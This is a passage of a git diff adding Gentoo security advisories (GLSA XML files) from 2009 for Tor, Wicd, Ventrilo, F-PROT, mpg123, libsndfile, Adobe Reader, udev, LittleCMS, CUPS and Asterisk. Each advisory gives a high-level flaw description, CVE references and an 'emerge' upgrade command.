+    could exploit these vulnerabilities to cause a heap corruption with
+    unknown impact and attack vectors, to cause a Denial of Service via CPU
+    consuption or daemon crash, and to weaken anonymity provided by the
+    service.
+    </p>
+  </impact>
+  <workaround>
+    <p>
+    There is no known workaround at this time.
+    </p>
+  </workaround>
+  <resolution>
+    <p>
+    All Tor users should upgrade to the latest version:
+    </p>
+    <code>
+    # emerge --sync
+    # emerge --ask --oneshot --verbose &quot;&gt;=net-misc/tor-0.2.0.34&quot;</code>
+  </resolution>
+  <references>
+    <uri link="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2008-5397">CVE-2008-5397</uri>
+    <uri link="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2008-5398">CVE-2008-5398</uri>
+    <uri link="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2009-0414">CVE-2009-0414</uri>
+    <uri link="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2009-0936">CVE-2009-0936</uri>
+    <uri link="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2009-0937">CVE-2009-0937</uri>
+    <uri link="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2009-0938">CVE-2009-0938</uri>
+    <uri link="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2009-0939">CVE-2009-0939</uri>
+  </references>
+  <metadata tag="requester" timestamp="Sun, 25 Jan 2009 14:41:40 +0000">
+    craig
+  </metadata>
+  <metadata tag="submitter" timestamp="Thu, 12 Feb 2009 16:48:01 +0000">
+    rbu
+  </metadata>
+  <metadata tag="bugReady" timestamp="Thu, 12 Feb 2009 16:48:17 +0000">
+    rbu
+  </metadata>
+</glsa>
diff --git a/xml/htdocs/security/en/glsa/glsa-200904-12.xml b/xml/htdocs/security/en/glsa/glsa-200904-12.xml
new file mode 100644
index 00000000..bd1ef845
--- /dev/null
+++ b/xml/htdocs/security/en/glsa/glsa-200904-12.xml
@@ -0,0 +1,65 @@
+<?xml version="1.0" encoding="utf-8"?>
+<?xml-stylesheet href="/xsl/glsa.xsl" type="text/xsl"?>
+<?xml-stylesheet href="/xsl/guide.xsl" type="text/xsl"?>
+<!DOCTYPE glsa SYSTEM "http://www.gentoo.org/dtd/glsa.dtd">
+
+<glsa id="200904-12">
+  <title>Wicd: Information disclosure</title>
+  <synopsis>
+    A vulnerability in Wicd may allow for disclosure of sensitive information.
+  </synopsis>
+  <product type="ebuild">wicd</product>
+  <announced>April 10, 2009</announced>
+  <revised>April 10, 2009: 01</revised>
+  <bug>258596</bug>
+  <access>local</access>
+  <affected>
+    <package name="net-misc/wicd" auto="yes" arch="*">
+      <unaffected range="ge">1.5.9</unaffected>
+      <vulnerable range="lt">1.5.9</vulnerable>
+    </package>
+  </affected>
+  <background>
+    <p>
+    Wicd is an open source wired and wireless network manager for Linux.
+    </p>
+  </background>
+  <description>
+    <p>
+    Tiziano Mueller of Gentoo discovered that the DBus configuration file
+    for Wicd allows arbitrary users to own the org.wicd.daemon object.
+    </p>
+  </description>
+  <impact type="normal">
+    <p>
+    A local attacker could exploit this vulnerability to receive messages
+    that were intended for the Wicd daemon, possibly including credentials
+    e.g. for wireless networks.
+    </p>
+  </impact>
+  <workaround>
+    <p>
+    There is no known workaround at this time.
+    </p>
+  </workaround>
+  <resolution>
+    <p>
+    All Wicd users should upgrade to the latest version:
+    </p>
+    <code>
+    # emerge --sync
+    # emerge --ask --oneshot --verbose &quot;&gt;=net-misc/wicd-1.5.9&quot;</code>
+  </resolution>
+  <references>
+    <uri link="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2009-0489">CVE-2009-0489</uri>
+  </references>
+  <metadata tag="requester" timestamp="Wed, 08 Apr 2009 22:52:50 +0000">
+    rbu
+  </metadata>
+  <metadata tag="submitter" timestamp="Thu, 09 Apr 2009 11:29:45 +0000">
+    keytoaster
+  </metadata>
+  <metadata tag="bugReady" timestamp="Thu, 09 Apr 2009 21:59:43 +0000">
+    p-y
+  </metadata>
+</glsa>
diff --git a/xml/htdocs/security/en/glsa/glsa-200904-13.xml b/xml/htdocs/security/en/glsa/glsa-200904-13.xml
new file mode 100644
index 00000000..7d0955d2
--- /dev/null
+++ b/xml/htdocs/security/en/glsa/glsa-200904-13.xml
@@ -0,0 +1,63 @@
+<?xml version="1.0" encoding="utf-8"?>
+<?xml-stylesheet href="/xsl/glsa.xsl" type="text/xsl"?>
+<?xml-stylesheet href="/xsl/guide.xsl" type="text/xsl"?>
+<!DOCTYPE glsa SYSTEM "http://www.gentoo.org/dtd/glsa.dtd">
+
+<glsa id="200904-13">
+  <title>Ventrilo: Denial of Service</title>
+  <synopsis>
+    A vulnerability has been discovered in Ventrilo, allowing for a Denial of
+    Service.
+  </synopsis>
+  <product type="ebuild">ventrilo-server-bin</product>
+  <announced>April 14, 2009</announced>
+  <revised>April 14, 2009: 01</revised>
+  <bug>234819</bug>
+  <access>remote</access>
+  <affected>
+    <package name="media-sound/ventrilo-server-bin" auto="yes" arch="*">
+      <unaffected range="ge">3.0.3</unaffected>
+      <vulnerable range="lt">3.0.3</vulnerable>
+    </package>
+  </affected>
+  <background>
+    <p>
+    Ventrilo is a Voice over IP group communication server.
+    </p>
+  </background>
+  <description>
+    <p>
+    Luigi Auriemma reported a NULL pointer dereference in Ventrilo when
+    processing packets with an invalid version number followed by another
+    packet.
+    </p>
+  </description>
+  <impact type="normal">
+    <p>
+    A remote attacker could send specially crafted packets to the server,
+    resulting in a crash.
+    </p>
+  </impact>
+  <workaround>
+    <p>
+    There is no known workaround at this time.
+    </p>
+  </workaround>
+  <resolution>
+    <p>
+    All Ventrilo users should upgrade to the latest version:
+    </p>
+    <code>
+    # emerge --sync
+    # emerge --ask --oneshot --verbose &quot;&gt;=media-sound/ventrilo-server-bin-3.0.3&quot;</code>
+  </resolution>
+  <references>
+    <uri link="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2008-3680">CVE-2008-3680</uri>
+  </references>
+  <metadata tag="submitter" timestamp="Tue, 14 Apr 2009 12:02:23 +0000">
+    p-y
+  </metadata>
+  <metadata tag="bugReady" timestamp="Tue, 14 Apr 2009 12:03:30 +0000">
+    p-y
+  </metadata>
+</glsa>
diff --git a/xml/htdocs/security/en/glsa/glsa-200904-14.xml b/xml/htdocs/security/en/glsa/glsa-200904-14.xml
new file mode 100644
index 00000000..3281dca6
--- /dev/null
+++ b/xml/htdocs/security/en/glsa/glsa-200904-14.xml
@@ -0,0 +1,78 @@
+<?xml version="1.0" encoding="utf-8"?>
+<?xml-stylesheet href="/xsl/glsa.xsl" type="text/xsl"?>
+<?xml-stylesheet href="/xsl/guide.xsl" type="text/xsl"?>
+<!DOCTYPE glsa SYSTEM "http://www.gentoo.org/dtd/glsa.dtd">
+
+<glsa id="200904-14">
+  <title>F-PROT Antivirus: Multiple Denial of Service vulnerabilities</title>
+  <synopsis>
+    Multiple errors in F-PROT Antivirus may lead to a Denial of Service.
+  </synopsis>
+  <product type="ebuild">f-prot</product>
+  <announced>April 14, 2009</announced>
+  <revised>April 17, 2009: 04</revised>
+  <bug>232665</bug>
+  <bug>253497</bug>
+  <access>remote</access>
+  <affected>
+    <package name="app-antivirus/f-prot" auto="yes" arch="*">
+      <unaffected range="ge">6.0.2</unaffected>
+      <vulnerable range="lt">6.0.2</vulnerable>
+    </package>
+  </affected>
+  <background>
+    <p>
+    F-PROT Antivirus is a multi-platform virus scanner for workstations and
+    mail servers.
+    </p>
+  </background>
+  <description>
+    <p>
+    The following vulnerabilities were found:
+    </p>
+    <ul>
+    <li>Multiple errors when processing UPX, ASPack or Microsoft Office
+    files (CVE-2008-3243).</li>
+    <li>Infinite Sergio Alvarez of n.runs AG reported an invalid memory
+    access when processing a CHM file with a large nb_dir value
+    (CVE-2008-3244).</li>
+    <li>Jonathan Brossard from iViZ Techno Solutions reported that F-PROT
+    Antivirus does not correctly process ELF binaries with corrupted
+    headers (CVE-2008-5747).
+    </li>
+    </ul>
+  </description>
+  <impact type="normal">
+    <p>
+    A remote attacker could entice a user or automated system to scan a
+    specially crafted file, leading to a crash or infinite loop.
+    </p>
+  </impact>
+  <workaround>
+    <p>
+    There is no known workaround at this time.
+    </p>
+  </workaround>
+  <resolution>
+    <p>
+    All F-PROT Antivirus users should upgrade to the latest version:
+    </p>
+    <code>
+    # emerge --sync
+    # emerge --ask --oneshot --verbose &quot;&gt;=app-antivirus/f-prot-6.0.2&quot;</code>
+  </resolution>
+  <references>
+    <uri link="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2008-3243">CVE-2008-3243</uri>
+    <uri link="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2008-3244">CVE-2008-3244</uri>
+    <uri link="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2008-5747">CVE-2008-5747</uri>
+  </references>
+  <metadata tag="requester" timestamp="Wed, 08 Apr 2009 22:38:56 +0000">
+    craig
+  </metadata>
+  <metadata tag="submitter" timestamp="Fri, 10 Apr 2009 21:12:22 +0000">
+    p-y
+  </metadata>
+  <metadata tag="bugReady" timestamp="Fri, 10 Apr 2009 21:13:03 +0000">
+    p-y
+  </metadata>
+</glsa>
diff --git a/xml/htdocs/security/en/glsa/glsa-200904-15.xml b/xml/htdocs/security/en/glsa/glsa-200904-15.xml
new file mode 100644
index 00000000..9dcf58ec
--- /dev/null
+++ b/xml/htdocs/security/en/glsa/glsa-200904-15.xml
@@ -0,0 +1,67 @@
+<?xml version="1.0" encoding="utf-8"?>
+<?xml-stylesheet href="/xsl/glsa.xsl" type="text/xsl"?>
+<?xml-stylesheet href="/xsl/guide.xsl" type="text/xsl"?>
+<!DOCTYPE glsa SYSTEM "http://www.gentoo.org/dtd/glsa.dtd">
+
+<glsa id="200904-15">
+  <title>mpg123: User-assisted execution of arbitrary code</title>
+  <synopsis>
+    An error in mpg123 might allow for the execution of arbitrary code.
+  </synopsis>
+  <product type="ebuild">mpg123</product>
+  <announced>April 16, 2009</announced>
+  <revised>April 16, 2009: 01</revised>
+  <bug>265342</bug>
+  <access>remote</access>
+  <affected>
+    <package name="media-sound/mpg123" auto="yes" arch="*">
+      <unaffected range="ge">1.7.2</unaffected>
+      <vulnerable range="lt">1.7.2</vulnerable>
+    </package>
+  </affected>
+  <background>
+    <p>
+    mpg123 is a realtime MPEG 1.0/2.0/2.5 audio player for layers 1, 2 and
+    3.
+    </p>
+  </background>
+  <description>
+    <p>
+    The vendor reported a signedness error in the store_id3_text() function
+    in id3.c, allowing for out-of-bounds memory access.
+    </p>
+  </description>
+  <impact type="normal">
+    <p>
+    A remote attacker could entice a user to open an MPEG-1 Audio Layer 3
+    (MP3) file containing a specially crafted ID3 tag, possibly resulting
+    in the execution of arbitrary code with the privileges of the user
+    running the application.
+    </p>
+  </impact>
+  <workaround>
+    <p>
+    There is no known workaround at this time.
+    </p>
+  </workaround>
+  <resolution>
+    <p>
+    All mpg123 users should upgrade to the latest version:
+    </p>
+    <code>
+    # emerge --sync
+    # emerge --ask --oneshot --verbose &quot;&gt;=media-sound/mpg123-1.7.2&quot;</code>
+  </resolution>
+  <references>
+    <uri link="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2009-1301">CVE-2009-1301</uri>
+  </references>
+  <metadata tag="requester" timestamp="Sat, 11 Apr 2009 20:51:15 +0000">
+    keytoaster
+  </metadata>
+  <metadata tag="submitter" timestamp="Sat, 11 Apr 2009 21:15:29 +0000">
+    a3li
+  </metadata>
+  <metadata tag="bugReady" timestamp="Thu, 16 Apr 2009 21:52:59 +0000">
+    a3li
+  </metadata>
+</glsa>
diff --git a/xml/htdocs/security/en/glsa/glsa-200904-16.xml b/xml/htdocs/security/en/glsa/glsa-200904-16.xml
new file mode 100644
index 00000000..26917c5f
--- /dev/null
+++ b/xml/htdocs/security/en/glsa/glsa-200904-16.xml
@@ -0,0 +1,68 @@
+<?xml version="1.0" encoding="utf-8"?>
+<?xml-stylesheet href="/xsl/glsa.xsl" type="text/xsl"?>
+<?xml-stylesheet href="/xsl/guide.xsl" type="text/xsl"?>
+<!DOCTYPE glsa SYSTEM "http://www.gentoo.org/dtd/glsa.dtd">
+
+<glsa id="200904-16">
+  <title>libsndfile: User-assisted execution of arbitrary code</title>
+  <synopsis>
+    A buffer overflow vulnerability in libsndfile might allow remote attackers
+    to execute arbitrary code.
+  </synopsis>
+  <product type="ebuild">libsndfile</product>
+  <announced>April 17, 2009</announced>
+  <revised>April 17, 2009: 01</revised>
+  <bug>261173</bug>
+  <access>remote</access>
+  <affected>
+    <package name="media-libs/libsndfile" auto="yes" arch="*">
+      <unaffected range="ge">1.0.19</unaffected>
+      <vulnerable range="lt">1.0.19</vulnerable>
+    </package>
+  </affected>
+  <background>
+    <p>
+    libsndfile is a C library for reading and writing files containing
+    sampled sound.
+    </p>
+  </background>
+  <description>
+    <p>
+    Alin Rad Pop from Secunia Research reported an integer overflow when
+    processing CAF description chunks, leading to a heap-based buffer
+    overflow.
+    </p>
+  </description>
+  <impact type="normal">
+    <p>
+    A remote attacker could entice a user to open a specially crafted CAF
+    file, resulting in the remote execution of arbitrary code with the
+    privileges of the user running the application.
+    </p>
+  </impact>
+  <workaround>
+    <p>
+    There is no known workaround at this time.
+    </p>
+  </workaround>
+  <resolution>
+    <p>
+    All libsndfile users should upgrade to the latest version:
+    </p>
+    <code>
+    # emerge --sync
+    # emerge --ask --oneshot --verbose &quot;&gt;=media-libs/libsndfile-1.0.19&quot;</code>
+  </resolution>
+  <references>
+    <uri link="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2009-0186">CVE-2009-0186</uri>
+  </references>
+  <metadata tag="requester" timestamp="Wed, 15 Apr 2009 20:06:42 +0000">
+    a3li
+  </metadata>
+  <metadata tag="submitter" timestamp="Thu, 16 Apr 2009 18:44:04 +0000">
+    p-y
+  </metadata>
+  <metadata tag="bugReady" timestamp="Thu, 16 Apr 2009 18:44:13 +0000">
+    p-y
+  </metadata>
+</glsa>
diff --git a/xml/htdocs/security/en/glsa/glsa-200904-17.xml b/xml/htdocs/security/en/glsa/glsa-200904-17.xml
new file mode 100644
index 00000000..dd49db41
--- /dev/null
+++ b/xml/htdocs/security/en/glsa/glsa-200904-17.xml
@@ -0,0 +1,102 @@
+<?xml version="1.0" encoding="utf-8"?>
+<?xml-stylesheet href="/xsl/glsa.xsl" type="text/xsl"?>
+<?xml-stylesheet href="/xsl/guide.xsl" type="text/xsl"?>
+<!DOCTYPE glsa SYSTEM "http://www.gentoo.org/dtd/glsa.dtd">
+
+<glsa id="200904-17">
+  <title>Adobe Reader: User-assisted execution of arbitrary code</title>
+  <synopsis>
+    Adobe Reader is vulnerable to execution of arbitrary code.
+  </synopsis>
+  <product type="ebuild">acroread</product>
+  <announced>April 18, 2009</announced>
+  <revised>April 18, 2009: 01</revised>
+  <bug>259992</bug>
+  <access>remote</access>
+  <affected>
+    <package name="app-text/acroread" auto="yes" arch="*">
+      <unaffected range="ge">8.1.4</unaffected>
+      <vulnerable range="lt">8.1.4</vulnerable>
+    </package>
+  </affected>
+  <background>
+    <p>
+    Adobe Reader (formerly Adobe Acrobat Reader) is a closed-source PDF
+    reader.
+    </p>
+  </background>
+  <description>
+    <p>
+    Multiple vulnerabilities have been discovered in Adobe Reader:
+    </p>
+    <ul>
+    <li>
+    Alin Rad Pop of Secunia Research reported a heap-based buffer overflow
+    when processing PDF files containing a malformed JBIG2 symbol
+    dictionary segment (CVE-2009-0193).
+    </li>
+    <li>
+    A buffer overflow related to a non-JavaScript function call and
+    possibly an embedded JBIG2 image stream has been reported
+    (CVE-2009-0658).
+    </li>
+    <li>
+    Tenable Network Security reported a stack-based buffer overflow that
+    can be triggered via a crafted argument to the getIcon() method of a
+    Collab object (CVE-2009-0927).
+    </li>
+    <li>
+    Sean Larsson of iDefense Labs reported a heap-based buffer overflow
+    when processing a PDF file containing a JBIG2 stream with a size
+    inconsistency related to an unspecified table (CVE-2009-0928).
+    </li>
+    <li>
+    Jonathan Brossard of the iViZ Security Research Team reported an
+    unspecified vulnerability related to JBIG2 and input validation
+    (CVE-2009-1061).
+    </li>
+    <li>
+    Will Dormann of CERT/CC reported a vulnerability lading to memory
+    corruption related to JBIG2 (CVE-2009-1062).
+    </li>
+    </ul> <p>
+    </p>
+  </description>
+  <impact type="normal">
+    <p>
+    A remote attacker could entice a user to open a specially crafted PDF
+    document, possibly leading to the execution of arbitrary code with the
+    privileges of the user running the application, or a Denial of Service.
+    </p>
+  </impact>
+  <workaround>
+    <p>
+    There is no known workaround at this time.
+    </p>
+  </workaround>
+  <resolution>
+    <p>
+    All Adobe Reader users should upgrade to the latest version:
+    </p>
+    <code>
+    # emerge --sync
+    # emerge --ask --oneshot --verbose &quot;&gt;=app-text/acroread-8.1.4&quot;</code>
+  </resolution>
+  <references>
+    <uri link="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2009-0193">CVE-2009-0193</uri>
+    <uri link="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2009-0658">CVE-2009-0658</uri>
+    <uri link="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2009-0927">CVE-2009-0927</uri>
+    <uri link="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2009-0928">CVE-2009-0928</uri>
+    <uri link="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2009-1061">CVE-2009-1061</uri>
+    <uri link="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2009-1062">CVE-2009-1062</uri>
+  </references>
+  <metadata tag="requester" timestamp="Tue, 14 Apr 2009 12:25:56 +0000">
+    keytoaster
+  </metadata>
+  <metadata tag="submitter" timestamp="Thu, 16 Apr 2009 22:30:05 +0000">
+    rbu
+  </metadata>
+  <metadata tag="bugReady" timestamp="Thu, 16 Apr 2009 22:30:15 +0000">
+    rbu
+  </metadata>
+</glsa>
diff --git a/xml/htdocs/security/en/glsa/glsa-200904-18.xml b/xml/htdocs/security/en/glsa/glsa-200904-18.xml
new file mode 100644
index 00000000..57290405
--- /dev/null
+++ b/xml/htdocs/security/en/glsa/glsa-200904-18.xml
@@ -0,0 +1,71 @@
+<?xml version="1.0" encoding="utf-8"?>
+<?xml-stylesheet href="/xsl/glsa.xsl" type="text/xsl"?>
+<?xml-stylesheet href="/xsl/guide.xsl" type="text/xsl"?>
+<!DOCTYPE glsa SYSTEM "http://www.gentoo.org/dtd/glsa.dtd">
+
+<glsa id="200904-18">
+  <title>udev: Multiple vulnerabilities</title>
+  <synopsis>
+    Two errors in udev allow for a local root compromise and a Denial of
+    Service.
+  </synopsis>
+  <product type="ebuild">udev</product>
+  <announced>April 18, 2009</announced>
+  <revised>April 18, 2009: 01</revised>
+  <bug>266290</bug>
+  <access>local</access>
+  <affected>
+    <package name="sys-fs/udev" auto="yes" arch="*">
+      <unaffected range="ge">124-r2</unaffected>
+      <vulnerable range="lt">124-r2</vulnerable>
+    </package>
+  </affected>
+  <background>
+    <p>
+    udev is the device manager used in the Linux 2.6 kernel series.
+    </p>
+  </background>
+  <description>
+    <p>
+    Sebastian Krahmer of SUSE discovered the following two vulnerabilities:
+    </p>
+    <ul>
+    <li>udev does not verify the origin of NETLINK messages
+    properly (CVE-2009-1185).</li>
+    <li>A buffer overflow exists in the
+    util_path_encode() function in lib/libudev-util.c (CVE-2009-1186).</li>
+    </ul>
+  </description>
+  <impact type="high">
+    <p>
+    A local attacker could gain root privileges by sending specially
+    crafted NETLINK messages to udev or cause a Denial of Service.
+    </p>
+  </impact>
+  <workaround>
+    <p>
+    There is no known workaround at this time.
+    </p>
+  </workaround>
+  <resolution>
+    <p>
+    All udev users should upgrade to the latest version:
+    </p>
+    <code>
+    # emerge --sync
+    # emerge --ask --oneshot --verbose &quot;&gt;=sys-fs/udev-124-r2&quot;</code>
+  </resolution>
+  <references>
+    <uri link="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2009-1185">CVE-2009-1185</uri>
+    <uri link="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2009-1186">CVE-2009-1186</uri>
+  </references>
+  <metadata tag="requester" timestamp="Thu, 16 Apr 2009 09:13:51 +0000">
+    a3li
+  </metadata>
+  <metadata tag="submitter" timestamp="Thu, 16 Apr 2009 09:38:24 +0000">
+    a3li
+  </metadata>
+  <metadata tag="bugReady" timestamp="Sat, 18 Apr 2009 18:32:47 +0000">
+    a3li
+  </metadata>
+</glsa>
diff --git a/xml/htdocs/security/en/glsa/glsa-200904-19.xml b/xml/htdocs/security/en/glsa/glsa-200904-19.xml
new file mode 100644
index 00000000..076d6a4c
--- /dev/null
+++ b/xml/htdocs/security/en/glsa/glsa-200904-19.xml
@@ -0,0 +1,86 @@
+<?xml version="1.0" encoding="utf-8"?>
+<?xml-stylesheet href="/xsl/glsa.xsl" type="text/xsl"?>
+<?xml-stylesheet href="/xsl/guide.xsl" type="text/xsl"?>
+<!DOCTYPE glsa SYSTEM "http://www.gentoo.org/dtd/glsa.dtd">
+
+<glsa id="200904-19">
+  <title>LittleCMS: Multiple vulnerabilities</title>
+  <synopsis>
+    Multiple errors in LittleCMS allow for attacks including the remote
+    execution of arbitrary code.
+  </synopsis>
+  <product type="ebuild">littlecms</product>
+  <announced>April 19, 2009</announced>
+  <revised>April 19, 2009: 01</revised>
+  <bug>260269</bug>
+  <bug>264604</bug>
+  <access>remote</access>
+  <affected>
+    <package name="media-libs/lcms" auto="yes" arch="*">
+      <unaffected range="ge">1.18-r1</unaffected>
+      <vulnerable range="lt">1.18-r1</vulnerable>
+    </package>
+  </affected>
+  <background>
+    <p>
+    LittleCMS, or short lcms, is a color management system for working with
+    ICC profiles. It is used by many applications including GIMP and
+    Firefox.
+    </p>
+  </background>
+  <description>
+    <p>
+    RedHat reported a null-pointer dereference flaw while processing
+    monochrome ICC profiles (CVE-2009-0793).
+    </p>
+    <p>
+    Chris Evans of Google discovered the following vulnerabilities:
+    </p>
+    <ul>
+    <li>LittleCMS contains severe memory leaks (CVE-2009-0581).</li>
+    <li>LittleCMS is prone to multiple integer overflows, leading to a
+    heap-based buffer overflow (CVE-2009-0723).</li>
+    <li>The
+    ReadSetOfCurves() function is vulnerable to stack-based buffer
+    overflows when called from code paths without a bounds check on channel
+    counts (CVE-2009-0733).</li>
+    </ul>
+  </description>
+  <impact type="normal">
+    <p>
+    A remote attacker could entice a user or automated system to open a
+    specially crafted file containing a malicious ICC profile, possibly
+    resulting in the execution of arbitrary code with the privileges of the
+    user running the application or memory exhaustion, leading to a Denial
+    of Service condition.
+    </p>
+  </impact>
+  <workaround>
+    <p>
+    There is no known workaround at this time.
+    </p>
+  </workaround>
+  <resolution>
+    <p>
+    All LittleCMS users should upgrade to the latest version:
+    </p>
+    <code>
+    # emerge --sync
+    # emerge --ask --oneshot --verbose &quot;&gt;=media-libs/lcms-1.18-r1&quot;</code>
+  </resolution>
+  <references>
+    <uri link="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2009-0581">CVE-2009-0581</uri>
+    <uri link="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2009-0723">CVE-2009-0723</uri>
+    <uri link="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2009-0733">CVE-2009-0733</uri>
+    <uri link="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2009-0793">CVE-2009-0793</uri>
+  </references>
+  <metadata tag="requester" timestamp="Sun, 12 Apr 2009 15:32:46 +0000">
+    rbu
+  </metadata>
+  <metadata tag="submitter" timestamp="Sat, 18 Apr 2009 22:41:26 +0000">
+    a3li
+  </metadata>
+  <metadata tag="bugReady" timestamp="Sun, 19 Apr 2009 12:36:20 +0000">
+    a3li
+  </metadata>
+</glsa>
diff --git a/xml/htdocs/security/en/glsa/glsa-200904-20.xml b/xml/htdocs/security/en/glsa/glsa-200904-20.xml
new file mode 100644
index 00000000..52fec8a4
--- /dev/null
+++ b/xml/htdocs/security/en/glsa/glsa-200904-20.xml
@@ -0,0 +1,84 @@
+<?xml version="1.0" encoding="utf-8"?>
+<?xml-stylesheet href="/xsl/glsa.xsl" type="text/xsl"?>
+<?xml-stylesheet href="/xsl/guide.xsl" type="text/xsl"?>
+<!DOCTYPE glsa SYSTEM "http://www.gentoo.org/dtd/glsa.dtd">
+
+<glsa id="200904-20">
+  <title>CUPS: Multiple vulnerabilities</title>
+  <synopsis>
+    Multiple errors in CUPS might allow for the remote execution of arbitrary
+    code or DNS rebinding attacks.
+  </synopsis>
+  <product type="ebuild">cups</product>
+  <announced>April 23, 2009</announced>
+  <revised>April 23, 2009: 01</revised>
+  <bug>263070</bug>
+  <access>remote</access>
+  <affected>
+    <package name="net-print/cups" auto="yes" arch="*">
+      <unaffected range="ge">1.3.10</unaffected>
+      <vulnerable range="lt">1.3.10</vulnerable>
+    </package>
+  </affected>
+  <background>
+    <p>
+    CUPS, the Common Unix Printing System, is a full-featured print server.
+    </p>
+  </background>
+  <description>
+    <p>
+    The following issues were reported in CUPS:
+    </p>
+    <ul>
+    <li>iDefense
+    reported an integer overflow in the _cupsImageReadTIFF() function in
+    the "imagetops" filter, leading to a heap-based buffer overflow
+    (CVE-2009-0163).</li>
+    <li>Aaron Siegel of Apple Product Security
+    reported that the CUPS web interface does not verify the content of the
+    "Host" HTTP header properly (CVE-2009-0164).</li>
+    <li>Braden Thomas and
+    Drew Yao of Apple Product Security reported that CUPS is vulnerable to
+    CVE-2009-0146, CVE-2009-0147 and CVE-2009-0166, found earlier in xpdf
+    and poppler.</li>
+    </ul>
+  </description>
+  <impact type="normal">
+    <p>
+    A remote attacker might send or entice a user to send a specially
+    crafted print job to CUPS, possibly resulting in the execution of
+    arbitrary code with the privileges of the configured CUPS user -- by
+    default this is "lp", or a Denial of Service. Furthermore, the web
+    interface could be used to conduct DNS rebinding attacks.
+    </p>
+  </impact>
+  <workaround>
+    <p>
+    There is no known workaround at this time.
+    </p>
+  </workaround>
+  <resolution>
+    <p>
+    All CUPS users should upgrade to the latest version:
+    </p>
+    <code>
+    # emerge --sync
+    # emerge --ask --oneshot --verbose &quot;&gt;=net-print/cups-1.3.10&quot;</code>
+  </resolution>
+  <references>
+    <uri link="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2009-0146">CVE-2009-0146</uri>
+    <uri link="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2009-0147">CVE-2009-0147</uri>
+    <uri link="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2009-0163">CVE-2009-0163</uri>
+    <uri link="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2009-0164">CVE-2009-0164</uri>
+    <uri link="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2009-0166">CVE-2009-0166</uri>
+  </references>
+  <metadata tag="requester" timestamp="Mon, 20 Apr 2009 08:43:52 +0000">
+    a3li
+  </metadata>
+  <metadata tag="submitter" timestamp="Mon, 20 Apr 2009 11:20:52 +0000">
+    a3li
+  </metadata>
+  <metadata tag="bugReady" timestamp="Tue, 21 Apr 2009 19:42:53 +0000">
+    p-y
+  </metadata>
+</glsa>
diff --git a/xml/htdocs/security/en/glsa/glsa-200905-01.xml b/xml/htdocs/security/en/glsa/glsa-200905-01.xml
new file mode 100644
index 00000000..b27f1fae
--- /dev/null
+++ b/xml/htdocs/security/en/glsa/glsa-200905-01.xml
@@ -0,0 +1,87 @@
+<?xml version="1.0" encoding="utf-8"?>
+<?xml-stylesheet href="/xsl/glsa.xsl" type="text/xsl"?>
+<?xml-stylesheet href="/xsl/guide.xsl" type="text/xsl"?>
+<!DOCTYPE glsa SYSTEM "http://www.gentoo.org/dtd/glsa.dtd">
+
+<glsa id="200905-01">
+  <title>Asterisk: Multiple vulnerabilities</title>
+  <synopsis>
+    Multiple vulnerabilities have been found in Asterisk allowing for Denial of
+    Service and username disclosure.
+  </synopsis>
+  <product type="ebuild">asterisk</product>
+  <announced>May 02, 2009</announced>
+  <revised>May 02, 2009: 01</revised>
+  <bug>218966</bug>
+  <bug>224835</bug>
+  <bug>232696</bug>
+  <bug>232698</bug>
+  <bug>237476</bug>
+  <bug>250748</bug>
+  <bug>254304</bug>
+  <access>remote</access>
+  <affected>
+    <package name="net-misc/asterisk" auto="yes" arch="*">
+      <unaffected range="ge">1.2.32</unaffected>
+      <vulnerable range="lt">1.2.32</vulnerable>
+    </package>
+  </affected>
+  <background>
+    <p>
+    Asterisk is an open source telephony engine and toolkit.
+    </p>
+  </background>
+  <description>
+    <p>
+    Multiple vulnerabilities have been discovered in the IAX2 channel
+    driver when performing the 3-way handshake (CVE-2008-1897), when
+    handling a large number of POKE requests (CVE-2008-3263), when handling
+    authentication attempts (CVE-2008-5558) and when handling firmware
+    download (FWDOWNL) requests (CVE-2008-3264). Asterisk does also not
+    correctly handle SIP INVITE messages that lack a "From" header
+    (CVE-2008-2119), and responds differently to a failed login attempt
+    depending on whether the user account exists (CVE-2008-3903,
+    CVE-2009-0041).
+    </p>
+  </description>
+  <impact type="normal">
+    <p>
+    Remote unauthenticated attackers could send specially crafted data to
+    Asterisk, possibly resulting in a Denial of Service via a daemon crash,
+    call-number exhaustion, CPU or traffic consumption. Remote
+    unauthenticated attackers could furthermore enumerate valid usernames
+    to facilitate brute force login attempts.
+    </p>
+  </impact>
+  <workaround>
+    <p>
+    There is no known workaround at this time.
+    </p>
+  </workaround>
+  <resolution>
+    <p>
+    All Asterisk users should upgrade to the latest version:
+    </p>
+    <code>
+    # emerge --sync
+    # emerge --ask --oneshot --verbose &quot;&gt;=net-misc/asterisk-1.2.32&quot;</code>
+  </resolution>
+  <references>
